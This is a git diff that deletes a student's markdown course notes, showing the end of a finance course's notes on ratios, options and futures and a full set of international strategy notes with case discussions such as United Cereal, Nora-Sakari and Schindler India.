-EBIT / Net Assets - -Return on Capital - -EBIT / (Long Term Debt + Equity) - -Return on Equity - -ROE = NI / S \* S / TA \* TA / E - -Equity Multiplier Leverage - -TA / E = (E + D) / E = 1 + D/E - -### Productivity Ratios - -average collection period - -AR / Net Credit Sales \* 365 - -Total Asset Turnover - -Sales / Total Assets - -Inventory turnover - -COGS / Inv - -Days Inventory - -365 / Inventory Turnover - -Walmart has a days inventory ratio of ~20. - -AR Turnover - -Sales / AR - -Days S/O - -AR / S \* 365 - -Economic Value Added - -- Capitla = 1000 -- wacc = 5% -- capital charge = 50 -- ROC = 75/1000 = 7.5% -- EVA = (75 - 50) = 25 -- (ROC - wacc) \* Capital - -Price Per Equity - -Interest Coverage Ratio - -Dividing a company's earnings before interest and taxes (EBIT) by its interest expense - -TODO: use latex - -![ROE Breakdown](/images/bu-473/roe-breakdown.webp) - -![Dupont Ratio](https://media.wallstreetprep.com/uploads/2021/11/04025747/DuPont-Analysis-Formula-ROE-Ratios.jpg) - -Compound Leverage Ratio = Interest Burden \* Leverage - - - -### Earnings management - -> Earnings management is the practice of using flexibility in accounting rules to improve the apparent profitability of the firm. We will have much to say on this topic in the next chapter on interpreting financial statements. A version of earnings management that became common in the 1990s was the reporting of "pro forma earnings" measures. - - -## Options - -### The Option Contract - -- Call Option: - - gives its holder the right to purchase an asset at a specific price -- Put option: - - gives its holder the right to sell an asset at a specific price -- In the money occurs when exercise would produce positive cash flow - - call option strike price < market price - - put option strike price > market price - -### Call - -- x = 60, P = 3 -- Buyer -- Payoff: max ( stock price - x, 0) -- Profit: payoff - premium - -### Put - -- x = 60, P = 3 -- Buyer -- Payoff: max ( x - stock price, 0) -- Profit: payoff - premium - -### American vs. European - -American options can be exercised at any time whereas -European options can only be exercised on the exercise day. - -### Types of Options - -- Index options -- futures options -- foreign currency options -- interest rate options - -### Exotic Options - -- Asian - - Based on average stock price over a time period - - Payoff is the difference between that average and the strike price -- Barrier - - depends on the price at expiration as well as if the price crossed a barrier - - knock-out: if the price falls to a certain extent, the option expires worthless - - knock-in: if the price does not fall to a certain extent, the option expires worthless -- Lookback Options - - Depends on the minimum and maximum price of the underlying asset during the life time of the option - - Call option may provide payoff equal to maximum - strike -- Currency-translated options - - asset or exercise prices denominated in a foreign currency - - quanto: fix exchange rate -- digital options - - fixed payoff if a condition is satisfied - -### Put-Call Parity - -- Put-call parity theorem is an equation representing the proper relation between put and call prices -- violation implies arbitrage opportunities -- sell high side, buy low side -- invest cash from sell - - - -Suppose C = 3, P = 3, X = 60, r = 5%, and stock price is 60. - -- Sell stock: + 60 -- Sell put: + 3 -- Buy call -3 -- Invest -57.14 -- Net: $2.85 - -In a year or so, the investment becomes $60; You can either buy shares back at 60, your shares get called back at 60 because -of the put. - -A good "risk-free" asset is CASH.TO - -Real example. - -Microsoft, 1 year expiry. OTM Call has premium (price) 30.48. Put has a premium of 43.50 with strike of 370. -Strike price is 370. risk-free rate is 4%. Stock price is 345. - -- 30.48 + 370/1.04 = 345 + 43.5 - -### Straddle - -A long straddle is established by buying both a call and a put on a stock, each with the same strike price and expiration date. - -A straddle is a bet on volatility. The cost of a straddle is the sum of the call and the put, P + C. -Final stock price must depart from X by this cost for the straddle to provide a profit. - -_Strips_ and _straps_ are variations of the straddle. - -### Collars - -- [Examples](https://elijahlopezz.medium.com/options-strategies-wao-part-3-52480e01fb80) -- butterfly -- condor -- limited downside - -## Futures - -Similar to options however with futures and forward contract, there is an obligation to follow through with the agreed-upon transaction. - -- Forward contracts call for future delivery at a currently agreed upon price - - Price holds -- Futures contract obliges traders to purchase or sell an asset at an agreed-upon **futures price** at contract maturity - - Price may fluctuate -- Zero-sum game -- Profit is zero when spot price equals the initial futures price - -### Future Main Concepts - -- Marked to market every day -- Maintenance margin -- Convergence property (futures price and spot price converge at maturity) - -### Strategies - -- Speculators - - Bet whether price will go up or down -- Hedgers - - Protect against price movements - - Long: protect against a higher spot price in the future - - Short: protect against spot prices going down in the future -- Calendar spread - - Long position in a futures contract at one maturity and short in another - -### Spot-Futures Parity Theorem - -- Violation of the parity relationship gives rise to arbitrage opportunities -- Investor holds $1,000 in a mutual fund for S&P500/TSX Index - - Dividends of $20 -- The futures contract with delivery in one year trades for $1,010 -- Since delivery doesn't include the delivery of the dividends, the investor can hedge - -A perfect hedge should return the risk less rate of return - - - - - -### Arbitrage - -- Parity relationship also is called the cost-of-carry relationship -- If the futures price is too high, short the futures and acquire the stock by borrowing the money at the risk-free rate -- If the futures price is too low, go long futures, short the stock and invest the proceeds at the risk-free rate - -### Spreads - -When dividends do not exist, spot–futures parity states that the equilibrium futures price: - - - -![Future Spreads](/images/bu-473/future-spreads.webp) - -### Futures Prices vs. Expected Spot Price - -When spot is unchanged: - -- Expectations hypothesis - - Future price = the spot price -- Normal backwardation - - Future prices are less and then meet the spot price -- Contango - - future prices are higher and then fall to spot -- Modern portfolio theory diff --git a/content/posts/university/bu-491-business-policy-2-international-strategy.md b/content/posts/university/bu-491-business-policy-2-international-strategy.md deleted file mode 100644 index 6e44ba7ad..000000000 --- a/content/posts/university/bu-491-business-policy-2-international-strategy.md +++ /dev/null @@ -1,938 +0,0 @@ ---- -title: "BU 491 Business Policy 2 International Strategy" -date: 2023-05-09T15:55:38-04:00 -draft: false -tags: - - university -summary: "Comprehensive notes on International Strategy (BU 491), covering multinational enterprises, global integration vs. national responsiveness, worldwide competitive advantage, transnational organizations, innovation, cross-border collaboration, strategy implementation, and case studies." ---- - -{{< toc >}} - -## Expanding Abroad - -### Multi-national Entreprise (MNE) - -For this course, - -- substantial direct investment - - not just a trading relationship -- active coordinated management - - active input into the company, not just shareholder -- strategic and organizational integration - - operations in different countries - -### Traditional Motivations - -1. Market seeking: fill capacity (grow sales revenue) -2. Resource seeking - - secure key suppliers - - exploit factor cost differences - -### Emerging Motivations - -1. Industry internationalization forces: scale economies, ballooning R&D investments, shortening product life cycles - - scale: volume - - scope: multiple products -2. Global scanning and learning: access emerging trends, new technologies, and best skills worldwide -3. Competitive positioning: e.g. use global operations to pre-empty others, cross-subsidize markets - -### Barriers to Internationalization - -- different cultures have different beliefs - -CAGE framework - -Culture distance, Administrative / Political distance, Geographic distance, Economic distance. - -Packaging regulation may seem small, but still comes up. - -Taking Home Depot as an example, Chinese have a Do it For me, bargaining, city centre has richer people not the suburbs, homes were smaller and required immense effort not some DIY shelf. - -### Means of Internationalization - -1. Export -2. Licensing - - giving a company the right to use a trademark -3. Franchising - - mcdonald's -4. Joint Ventures -5. Subsidiaries -6. Acquisition - -### Internationalization Process Theory - -Foreign direct investment (FDI): - -- incremental process of learning and increasing commitment to foreign market -- perceived uncertainty and knowledge -- gradually increasing internationalization after a long period of doing business exclusively in the home market -- vs. born global approach (Facebook) vs. acquisition (Walmart ASDA UK) - -### Global Integration vs National Responsiveness - -- Multinational is responsiveness - - portfolio of local opportunities, local adaptions - - national companies, each headed by their own entrepreneur - - inefficient manufacturing infrastructure within the company -- Global is integration - - world is one unit -- Transnational is both global and multinational - - everywhere -- International is an in between of Global and multinational - - domestic then international, domestic first view - -[What Three Global Giants Teach Us About International Expansion](https://velocityglobal.com/blog/what-three-global-giants-teach-us-about-international-expansion) - -### Sher-Wood Hockey Sticks: Global Sourcing - -- question is to move production of high-end composite sticks to China -- losing market share -- hockey stick - - lightness, responsiveness and “the feel.” - - wood, aluminum, or composite - - composite developed in mid 1990s - - case takes place in 2011 - - strong positions if endorsed by pros -- professional players had custom designs -- onshoring, nearshoring, offshoring - -## Understanding the international context - -### PEST(EL) - -What could happen going forward. Conclusions: want to take the probability into account to determine whether to make a decision. Identity current and future trends, summarize on supply, demand, and competition to link to Porter's 5 forces. - -- Political -- Economical -- Socio-cultural -- Technological -- Environmental -- Legal - -### International Context - -- Global integration and coordination - - Factor costs - - Economies of scale and scope - - Liberalized environment for trade -- Local differentiation and responsiveness - - Cultural differences - - Countries current situation plus government demands - -World of opportunities: https://www.hofstede-insights.com/country-comparison-tool - -### Local Differentiation and Responsiveness - -General Motors is reported to have faced difficulties in selling the popular Chevrolet Nova in Mexico, where the product name sounded like “no va,” meaning “does not go” in Spanish. - -Cultural, government demands, pressure to localize - -### Increased need for rapid and coordinated - -- Shortening product life-cycles -- Increased cost of R&D -- Emergence of global technology standards -- Competitors’ ability to develop and diffuse innovation globally - -### Innovation and Learning - -### Deglobalization - -[Are Businesses Ready for Deglobalization?](https://hbr.org/2019/12/are-businesses-ready-for-deglobalization) - -- Splinternet - > Such a technological fragmentation \[(censorships of web platforms by different countries)] would disrupt global supply chains \[(in which manner?)] — which enable global corporations to gain a competitive edge by selecting the most cost-effective solution at each stage of the production process. And the move away from such centralized procurement \[(what is the procurement and what makes it centralized?)] raises the costs of and reduces the efficiency gains from shared global services \[(like what?)]. -- War for talent -- Corporate Finances and Regulatory Regimes - -### Political Risks - -- corruption indexes -- http://www.transparency.org/gcb2013 -- Understand - - risk appetite - - shared understanding - - reduce blind spots -- Analyze - - how to get good information - - ensure rigorous analysis - - integration -- Mitigate - - reduce exposure - - system and team for timely warning and action - - limiting damage when something bad happens -- Respond - - Capitalizing on near misses??? - - Effective reaction - - Continuous learning mechanisms - -## American Factory - -- No context that GM literally failed -- Chevrolet S-10 was the first car made in 1982 -- Union Auto Workers Union -- You can't smell Fuyao without F-U - -- Is Fuyao an example of “How to take on the World”? - - Fuyao is a company for automobile glass, 70% of the market. - - Melding US and Chinese culture - - No union - - Used to be a GM motors plant, leaving 2,000 families unemployed and now 1,000 employees employed -- What were the major issues that impacted the company performance? - - Americans had fat fingers LOL and were slow - - Water spots - - Draining the washer - - Americans afraid of heat -- What do you think the company did well? - - Chinese national pride -- What could the company have done better? - - Safety - - employees local responsiveness - - Thinking and planning operations efficiency before opening the plant -- Was there anything that surprised you? - - GM was paying $29.4/hr in 2008... - - Fuyao was paying $12.84 - - People lost their homes when they lost their jobs at GM - - This guy was eating two twinkies for lunch - - The Washington Post picking out the pro union worker out of 2,000 workers - - The U.S senator was bold to trash talk the company at their event - - The exact time there is an audit and video recording, the glass breaks - - Attendance counting at the Chinese plant - - Tens of millions of dollars were given by Dayton -- What is your most important learning from this film? - - The rat race is not attractive - - Need to get into politics because that's where the good life is at it seems - -The anti-union consulting should be banned. It's classic union busting. Let unions fail naturally. Employers should not be able to pay consultants to avoid unions. - -Unionization failed 40% to 60%. - -## Worldwide Competitive Advantage - -### Goals - -- Efficiency - - value of outputs / value of inputs -- Flexibility - - macroeconomic risks - - political risks - - competitive risks - - resource risks - - requires management to scan its broad environment to detect changes and discontinuities and then respond to the new situation in the context of the worldwide business. -- Learning - - diverse operating environments lead to stimuli that developes diverse capabilities - -### Building Multinational Flexibility - -The ability to manage risks and exploit opportunities arising from the diversity and volatility of the global environment. - -Diversity and Volatility - -- Macroeconomic (FX, price changes) -- Political risks -- Competitive risks (competitor's actions) - -Requirements - -- Scanning and responding to discontinuities -- Selecting mos attractive markets - -## Building Worldwide Learning - -- Capture external diversity -- Leverage internal variety - - Worldwide human resources - - Opportunity to leverage central and local innovations - - Create true global innovation by linking sensing - -### Strategic Goals - -- National differences -- Scale economies -- Scope economies - -How to use these to our advantages? - -- Need to pick position and find niche in marketplace -- Standardization - -### Traditional Strategic Postures - -- International strategy - - Home country -- Multinational - - Differentiation (revenue at site) -- Global - - Global efficiency - -### Managing Differences - -- Triple A - - Adaption: adapting product for the target to increase market share - - Aggregation: deliver economies of scale through regional or global operations - - Arbitrage: exploitation of differences between national and regional markets - -- Competitive advantage: why globalize at all -- Configuration: location of overseas operations -- Coordination: how to connect international operations - -### Triple A Strategy - -- focus on one or two As -- New elements need to fit well - -### Leading Change - -Why do transformation efforts fails? - -## United Cereal - -- Lora Brill: United Cereal’s European vice president -- March 2010 -- Healthy Berry Crunch, a new breakfast cereal that the French subsidiary wanted to launch -- Started by Jed Thomson in 1910 at his grocery store in Kalamazoo, Michigan -- main competitor is Kellogs -- Local markets resulted in 25% higher SG&A expenses than in the US -- National subsidiaries each lead by a Country Manager (CM) because of major differences - - lead to contradictions in marketing -- most CMs now favored product extensions over new product introductions, and many increasingly relied on cost reductions in their existing portfolios to maintain -profits -- Arne Olsen, a Norwegian appointed as UC’s European VP in 2002 - 2006 -- PodCafé debacle - - First launched in Germany, but three years later copycat products showed up in other countries -- Jorge Sanchez Division VP - Southern Europe -- Jean-Luc Michel, Country Manager France - -1. If you were Lora Brill, would you authorize the launch of Healthy Berry -Crunch in France? - - Yes, because competitors are also doing it and the repurchase percentage consideration is more than 60% - -2. Is United Cereal a centralized or decentralized organization? - - - Centralized in terms of decision making and organization structure. - - Decentralized because of product adaptions in every nation - -3. Should Healthy Berry Crunch become a Eurobrand? Why or why not? - - No because the organization structure is not simple to covey and results in each VP taking on more responsibilities. Then there's the issue that each country would have to be on board and be capable of also launching products. Spain and Italy are not going to be able to keep up. The test cases were't done in every country either. If the overall goal is to prove that a Euro brand strategy is viable, then the first case product should be crystal clear. - -4. What would you recommend if you were Lora? - - Launch Healthy Berry Crunch and create a reorganization plan so that the next product can become the Eurobrand. - -5. How would you implement tour recommendation - - The two issues is the organization structure with regards to Eurobrands and the budgets for each subsidiary. With regards to organization, there needs to be a straight forward approach as James Miller said. A European product structure where there is clear authority for decision making. This would also result in lower SG&A expenses as decision making is now a stream lined process. - -## Developing a Transnational Organization - -- Foreign product diversity vs Foreign Sales as a Percentage of Total Sales - -Global matrix structure has fallen out of favour. - -- Complex and bureaucratic -- Dual reporting caused confusion - -### Administrative Heritage - -archetypes: - -a. European empire (multinational model) - - portfolio management -b. American empire (international model) -c. Japanese empire (global model) - -[Competing in teh age of AI](https://ocul-wlu.primo.exlibrisgroup.com/permalink/01OCUL_WLU/s6kavd/cdi_proquest_miscellaneous_2332077902) - -- ANT financial, 10x the customers of largest US banks, with one tenth the employees. Leverages AI to approve loans a -- weak AI is enough - - perform tasks traditionally done by humans - -[Have you restructured for global success?](https://ocul-wlu.primo.exlibrisgroup.com/permalink/01OCUL_WLU/s6kavd/cdi_proquest_miscellaneous_895881498) - -- emerging markets are stars, developed world is cash-cow -- emerging market talent-pool - - interoperability -- leadership has to come from developed markets -- upper echelon's theory: composition of top management affects strategic choices -- emergin market entreprenuers are more ambitious -- low-income and budgets - -### Beiersdorf AG - -- Skin care, NIVEA -- the last quarter of 2011 had ended with a loss. -- local adaptation strategy -- restructuring was focused on get closer to becoming the world’s best skin care company. -- Old ceo was Quaas -- Markus Pinger left for obvious reasons since he did not become CEO -- Heidenreich: strong-willed and dynamic but also risk-seeking and aggressive -- Hamburg-based Global Research Center - - Can account for climates in Asia and Latin America, not just Germany / Europe - -1. What were the building blocks of the company’s success? - -- innovation driven -- scientific and medical - -2. What internal and external factors led the company to restructuring? - -- recession leading to lower growth in consumers division and a decrease in overall revenue -- inflation was 2.7% and consumer spending was up only 0.5% - -3. Did the restructuring effort address these issues? What do you think was -done well? What still needs to be done? - -- not really -- the restructuring efforts looked more like a cost/efficiency change leading -to all executive board members leaving - -4. On April 27th 2012, Heidenreich was appointed the new CEO. Is he the right person to lead the change? What challenges did he face from his -predecessor? How should he proceed? - -- Maybe. -- worked at Hero -- In his previous position at Hero, where he had been the CEO for seven years, Heidenreich convinced many investors of his ability to generate continuous profits and grow share prices -- Hero had undergone major restructuring efforts and also had a majority shareholder - -## Worldwide Innovation and Learning - -Innovation comes in multiple forms: - -- New technology-based products -- Organizational effectiveness breakthroughs -- Pioneering marketing strategies -- Leading-edge manufacturing processes -- Logistics innovations - -- R&D expenditure globally more than doubled between 1992-2010 -- Worldwide patent application -- Intangible asset valuations rose higher - -Competitive battles: - -- Sensing -- Responding -- Implementing - -Traditional innovation - -- Center-for-global - - HQ senses opportunities - - Dominate in international and global companies - - Problem: market insensitivity, imperialism, fading of competitive advantage -- Local-for-local - - Distributed assets and resources allow local response - - multinational strategic model - - Duplication possible, reinventing the wheel -- Locally leveraged - - Special resources and capabilities of each national subsidiary are available to other units as well -- Globally linked - - Resources and capabilities of many unites (center and subsidiaries) pooled to jointly create and manage an activity - -### Making Transnational processes Feasible - -Three simplifying assumptions: - -1. Subsidiaries should be symmetrical -2. HQ-subsidiary relationship is based on -clear patterns of dependence or -independence -3. Corporate management exercises -decision-making and control uniformly - -- From Symmetry to Differentiation - - Demands for integration and responsiveness need to be addressed separately for each business, function, and geographic region -- From Dependence / Independence to Interdependence - - Implementation of an integrated network and inter-unit integration mechanisms -- From Simple Control to Flexible Coordination - - Complex coordination of the flow of goods, resources, and knowledge: formalization, centralization, and socialization process - -Problems - -- Center-for-global innovation - - Risk of market insensitivity, imperialism -- Local-for-local innovation - - Risk of duplication, reinventing the wheel -- Locally leveraged innovation - - Threatened by not-invented-here (NIH) -- Globally linked innovation - - High coordination costs - -[How GE is disrupting itself (HBR 2009)](https://ocul-wlu.primo.exlibrisgroup.com/permalink/01OCUL_WLU/s6kavd/cdi_proquest_miscellaneous_227775481) - -Reverse innovation is creating products in an emerging economy to meet the local needs and then bringing this product to a developed economy through adaption cannibalization of existing products. One example of reverse innovation is a $1,000 handheld electrocardio-gram device developed for rural India which also started being sold in the United States for different uses. Reverse innovation is the opposite of the standard glocalization approach taken by most manufacturing firms based in rich countries. - -[THE CHANGING FACE OF INNOVATION IN CHINA](https://ocul-wlu.primo.exlibrisgroup.com/permalink/01OCUL_WLU/s6kavd/cdi_proquest_journals_2074380396) - -The first step is to ensure local representation which I agree with however it also says "local R&D management style better suited to Chinese sensitivities" which in my opinion isn't a 100% guarantee or objectively better. Management style is subjective and so if anything, the style should be whichever one results in higher productivity. Sure it could be that being better suited to Chinese sensitivities is correct, or maybe the original management style was lacking already. There isn't only one management style in north america so obviously there isn't only one in China. The next step is to speed up the patenting when trade secrets is not strategic. I don't agree with this from a philosophical point of view because the government point of patents is to dissuade trade secrets but leveraging the patent policy because trade secrets is non-strategic goes against what the patent system was about. In these cases, the innovation should be multi-group just like the media codec VP9 vs. the proprietary H265. Innovation isn't just an individual corporation point of view, but a macro-economical point of view itself. If we told every individual to only look out for themselves, then there would be vast social problems and high crime rates because no one wants to work towards a greater cause. The last step is to integrate R&D and IP management competencies. Although I disagree with mass patenting, I can agree that when patents are acquired as originally intended, it's utility should be maximized rather than ignored; This can be done by the R&D department communicating with the IP management either through 1:1 or through a middle manager in charge of this task. - -[TedX Video](https://www.youtube.com/watch?v=ztna1lt_LZE) - -What is reverse innovation? - -- Develop products for markets in -emerging economies -- Sell in developed markets - -Example: the electrocardiogram device -for rural India and the ultrasound -machine for rural China - -Why is it important? -• Many emerging markets are no longer small -• They have high growth rates -• Glocalization ignored faster growing middle or -lower-end customer segment in emerging -markets -• Potential local new entrants can enter -developed markets with low cost alternatives -Reversed innovation isn’t optional, its oxygen! - -- decentralization -- traditional centralized structures provide cost benefits - -Project-level actions -Establish Local Growth Teams (LGTs) -1.Shift the power to where the growth is -Authority to decide what to develop and -how to produce, sell, and service -2.Build new offerings from the ground up -3.Build LGT from ground up -4.Customize objectives, targets, measure -5.report to someone high in the organization - -China - -Foreign companies must retool their R&D strategies to keep pace with newly innovative Chinese enterprises. - -Foreignness is becoming a liability -• Intellectual property (IP) regime has -strengthened -• Risks with keeping and sharing advanced -technology -• Innovation transaction costs can jeopardize -the lead -• Time to market of innovative products and -services - -Strike a balance between localization and -the growing liability of foreignness; -• Engage in cutting edge research when -returns exceed global; -• Focus talent, culture and operations toward -faster time to market. - -### Answers - -Three important capabilities that are necessary for effective central innovation are: taking in information from subsidiaries to the centralized head quarter through the use of creating **linkages** (taskforce focusing on a region, activities, meetings, etc.) that increase interaction between local managers and the central head quarters; ensuring that all functional tasks are linked to **market needs** through the use of direct consumer contact and feedback; and **integrating value-chain functions** by managing the transfer of responsibilities across development, production, and marketing. The goal of managing responsibility transfer is to reduce the loss of proximity from a centralized approach to development↔marketing rather than a decentralized approach where the functions are close to each other. Thus, the last capability is to ensure that research, production, and marketing remains as integrated in a centralized perspective as was by default in the local-for-local innovation. - -One capability to make local innovations efficient is to empower the local management. Local management referring to managers of the subsidiaries. Empowering local management means to hand over, or delegate, organization resources and decision making authority to the subsidiary managers. It could be as simple as investing assets into the subsidiary because then the innovation would be local led even if the starting direction was done by the central HQ. -Another capability is to provide a link (collaboration) between the different federations so that knowledge and techniques can be shared without reinventing the wheel. Lastly, there needs to be cross-functional integration at all local subsidiaries to ensure that the ideas being generated are high quality. - -One capability necessary for making innovations feasible is to make each subsidiary differentiate itself where it needs to to avoid resource misallocation and competing ineffectively. Therefore, integration and responsiveness needs to be tweaked separately for each subsidiary. A second capability is interdependence which requires the existence of roles in the organization that creates a network such that information is always relayed will reach someone in central or local regardless of where the information is coming from. There also needs to be integration between units so that units are not in conflict with each other. The last capability is to allow for flexibility in coordination and control. In other words, being stringent results in one way to do something even if it may not be optimal whereas flexibility means having sophisticated processes to deal with different issues in appropriate more caring manners. - -### P&G JAPAN: THE SK-II GLOBALIZATION PROJECT - -> In November 1999, Paolo de Cesare was preparing for a meeting with the Global Leadership Team (GLT) of P&G’s Beauty Care Global Business Unit (GBU) to present his analysis of whether SK-II, a prestige skin care line from Japan, should become a global P&G brand. - -> president of Max Factor Japan, the hub of P&G’s fast-growing cosmetics business in Asia - -proposal to expand SK-II into China and Europe. - -> Chairing the GLT meeting was Alan (“A. G.”) Lafley, head of P&G’s Beauty Care GBU, to which de Cesare reported - -> In 1985, as the first step in developing a program hecalled “Ichidai Hiyaku” (“The Great Flying Leap”), new country GM Durk Jager analyzed the causes of P&G’s spectacular failure in Japan. the company had not recognized the distinctive needs and habits of the very demanding Japanese consumer. (For instance, P&G Japan had built its laundry-detergent business around All Temperature Cheer, a product that ignored the Japanese practice of doing the laundry in tap water, not a range of water temperatures.) - -Increased R&D size - -1991 bubble burst causing 20% total decline. - -Implementing O2005, as it came to -be called, he promised would bring 13% to 15% -annual earnings growth and would result in $900 -million in annual savings starting in 2004. Implementation would be painful, he warned; in the first -five years, it called for the closing of 10 plants and -the loss of 15,000 jobs–13% of the worldwide -workforce. The cost of the restructuring was estimated at $1.9 billion, with $1 billion of that total -forecast for 1999 and 2000. - -“And if you are worried about oversight,” he said, “I am the portfolio manager. - -Lots of bureaucratic cutting. - -Max Faxtor is the company they acquired. - -## Cross-border Collaboration - -### Types of Arrangement - -- Cooperation or Agreement -- Patent licensing -- Franchising -- R&D Consortia -- Co-production / buyback -- Joint Venture (equity participation) - -### Motivators - -- Capital -- Technology exchange - - necessary resources are beyond scope of the firm -- Global -- Industry -- Economies of scale and reduction of risk -- Alliances as an alternative to mergers - -Honda blind spot detector. Might not be available. What if Honda used the patent -instead and paid off any lawsuit? - -### Risks - -- when one skill is easily observable and can be learned but the other is too complex -- one way dependence in order to erode competitive position -- takeover risk - -### Cost of Strategic and Organizational Complexity - -- broad range of activities - -### Building and Managing Collaborative Ventures - -- Pre-alliance - - Selection - - Escalating commitment - - Simplicity and Flexibility -- Post-alliance - - Managing the boundary - - Managing knowledge flows - - Providing strategic direction - -[Reading: How to manage alliances better than one at a time (MIT Sloan Management Review, Spring 2010)](https://ocul-wlu.primo.exlibrisgroup.com/permalink/01OCUL_WLU/s6kavd/cdi_hal_shs_oai_HAL_hal_02313047v1) - -[Reading: Joint Ventures and Partnerships in a Downturn (Harvard Business Review September 2020)](https://ocul-wlu.primo.exlibrisgroup.com/permalink/01OCUL_WLU/s6kavd/cdi_proquest_miscellaneous_2464403547) - -> Companies will need every tool they’ve got to survive the downturn and rev up their businesses as the economy rights itself. They’ll have to rewire operations, reallocate resources, and in some cases reinvent business models - -Case: Nora-Sakari: A Proposed JV In Malaysia - -- On Monday, March 11, 2013, Zainal Hashim, vice-chairman of Nora Holdings Sdn Bhd (Nora). Meeting in Kuala Lumpur (KL), Malaysia - - Nora was a leading supplier of telecommunications (telecom) equipment in Malaysia -- Negotiating with Sakari Oy2 (Sakari) of Finland - - leader in the manufacture and deployment of mobile broadband network infrastructure -- Joint venture negotiation - - manufacture and commission 4G (fourth generation) mobile network equipment in Malaysia -- In August 2012, TMB called for tenders to bid on a two-year project worth RM1 billion for building an LTE radio access network in various parts of the country. -- Local tellecom's often needed partnerships with MNCs because they lacked the technological capabilities themselves -- Sakari’s SK4LTE platform was criticized for failing to make any impact in the United States, one of the world’s largest and most important mobile markets. -- WOS: wholly owned subsidiary legalized in Malyasis, however JV's still seen as more efficient - -- Negotiation - - Nora’s general manager for corporate planning division, an accountant, two engineers, and Marina Mohamed, a lawyer - - Kuusisto, Sakari’s vice-president. His team comprised Junttila, Hussein Ghazi, Aziz Majid, three engineers, and Julia Ruola, a lawyer. Ghazi was Sakari’s senior manager who was of Egyptian origin and also a Muslim who had worked for Sakari for more than 20 years, while Aziz, a Malay, had been Sakari’s manager for more than 12 years. -- Nora’s capability in penetrating the Southeast Asian market. Other issues included Sakari’s concerns over the efficiency of Malaysian workers in manufacturing, maintaining product quality and ensuring prompt deliveries. - -1. Why have negotiations failed to result in an agreement? - - Zainal admitted making the mistake of applying the approach he often used when negotiating with companies based in North America or the United Kingdom - - Negotiators from the U.S. tend to be very open and often state their positions early and definitively - - Sakari negotiators are serious, reserved and ‘cold.’ - - it was difficult to determine whether they are really interested in the deal or not. - - Equity Ownership - - Sakari proposed an equity split of 49 per cent for Sakari and 51 per cent for Nora. Nora, on the other hand, proposed a 30 per cent Sakari and 70 per cent Nora split - - foreign equity ownership rules of 30% liberalized by the Malaysian government effective July 1998 - - Nora had concerns about its ability to exert control over the JV because it was intended as a key part of its longterm strategy to develop its own mobile broadband equipment and related high-tech products - - Nora wants a technology transfer, whereas Sakari wants that protected - - Royalty payments - - 5% of gross sales Sakari, 2% of net sales Nora - - Salaries - - Sakari's offer was exorbitant - - Take-it-or-lave it stance adopted by Nora - - Sakari would have to subsidize the difference (are they really being paid $300,000?) - - Arbitration - -2. What is motivation of each company? - - Sakari - - Growth, concerned about tech leakage - - Nora - - Sustainable technological knowledge gain -3. As Zainal, what are your options to fulfill the TMB contract? - - Samsug, Sakari, NEC -4. What criteria could be used to facilitate agreement between the -companies? - - TEST -For class, be prepared to act as part of the negotiation team for either company. -You will be challenged to come up with an agreement that meets the objectives -of both companies - -## Implementing Strategy - -### Geographical Subsidiary Manager - -- Role as a national defender and advocate -- Need for national responsiveness - -### How to respond to resistance to globalization - -- Determine if willing to take leadership role on dealing with underlying issues - -### Four MNE positions - -- Exploitive (take advantage of disadvantage) - - low-cost labour, subsidized investment - - expand regardless of economic, social, or cultural change - - no responsibility - - adversarial relationship with NGOs -- Transaction (doing deals, respecting laws) - - legally compliant - - non-oppressive - - does not pursue bottom line at all cost - - no inappropriate products promoted - - NGO relationship based on monitoring and challenging -- Responsive (making a difference) - - temp -- Transformative (leading broad change) - - temp - -## Case: Silvio Napoli at Schindler India (A) - -- Silvio Napoli - - New Delhi - - First floor got floded (lmao the monsoon season) - - Luc Bonnard, vice chairman, board of directors of Schindler Holdings Ltd., the respected Swiss-based manufacturer of elevators and escalators. - - It was November 1998, and vice chairman Luc Bonnard was visiting -New Delhi for the first time to review progress on -the start-up of the company’s Indian subsidiary - - Napoli running this -- Napoli, a 33-year-old Italian former semipro- -fessional rugby player, had arrived in March -with his pregnant wife and two young children -- new from scratch -- Since March, he had established offices in New Delhi and Mum-bai, hired five Indian top managers, and begun to implement the aggressive business plan he had written the previous year while head of corporate planning in Switzerland -- $10m investment - - “core, standardized products,” with no allowance for customization. - - India has high import tariffs - - outsource manufacturing and logistics to local suppliers -- Three problems - - order for a nonstandard product–calling for a glass rear wall in one of the supposedly standard elevators - - unanticipated rise in transfer prices for the “low-cost” components and materials imported from Schindler’s European factories - - a large increase in customs duties on imported elevator components, - - requests for parts lists, design specifications, and engineering support not forthcoming from Schindler’s European plants -- Eight months in India and he still had not installed a single elevator, while his plan showed first-year sales of 50 units. -- tech leader in elevators -- Alfred Schindler saw India as a second China -- ECE in 1958 for local distribution -- Bharat Bijlee Ltd. (BBL) in 1985 - - 12% stake - - 10-15% market share - - ended in 1996 -- head of corporate planning -- Executive committee: Alfred Schindler, Luc Bonnard, and Alfred -Spöerri (CFO) -- Swatch Project (1995) - - margins eroding - - new products were a vital source of profitable long-term maintenance and service contracts, - - develop standardized elevator at lower cost - - plants in Switzerland, France, and Spain - - S001 developed, halved the industry standard 20-30 week cycle time - - supply chain redesigned -- Egon Zehnder for searching top management -- On his first day in the Delhi office, Napoli got stuck in one of BBL’s elevators. As he recalled, it proved to be an omen of things to come -- all types of characters started to approach me offering their services -- With the exception of Mitsubishi, all multinational players relied on local manufacturing for the majority of their components. -- Otis is the number one competitor -- seven distinct phases: engineering, production, installation, service, repair, modernization, and replacement. -- annual maintenance contracts covering routine maintenance and breakdown service were vital. -- S001 for low-rise segment -- S300P for mid-rise segment -- safety-related parts imported, S300P imported, everything else outsourced to approved local suppliers - - maintenance would stay with Schindler -- four orders came in for the S001 but with glass wall -- S001 transfer prices were 30% above planned costs - - increased import duties on specific "noncore goods" (22% to 56%) -- Each family has a security guard but since guards fall asleep, a man would whistle - - but then each family paid the man not to whistle in front of their house -- no maintenance portfolio - -Consider the 3 roles of a country manager: - -- a Bicultural interpreter -- b National Defender -- c Frontline Implementer - -Do you believe Silvio was the right choice for the general manager in India? Explain. - -- Yes - - Made business plan - - Unproven business model - - Aggressive personality - - Corporate connections - - Upside potential -- No - - No experience to execute - - Management style might not be suited - - Cultural mismatch - - Goal focused - - Family has to move to India - -As Luc Bonnard, how would you evaluate Silvio’s performance in the first 7 months? - -Got everything setup, but what is the next step? What happened in the last 6 months if 1 month was given as grace period? - -Should Schindler India accept the nonstandard glass wall elevator order? - -Yes, a business is supposed to be a loss maker in the first year. To get an understanding of the customers' needs. - -What should Silvio do about limited support with technical issues and transfer prices? - -technical, need to call someone directly to fix the problem. For transfer price, need to outsource as fast as 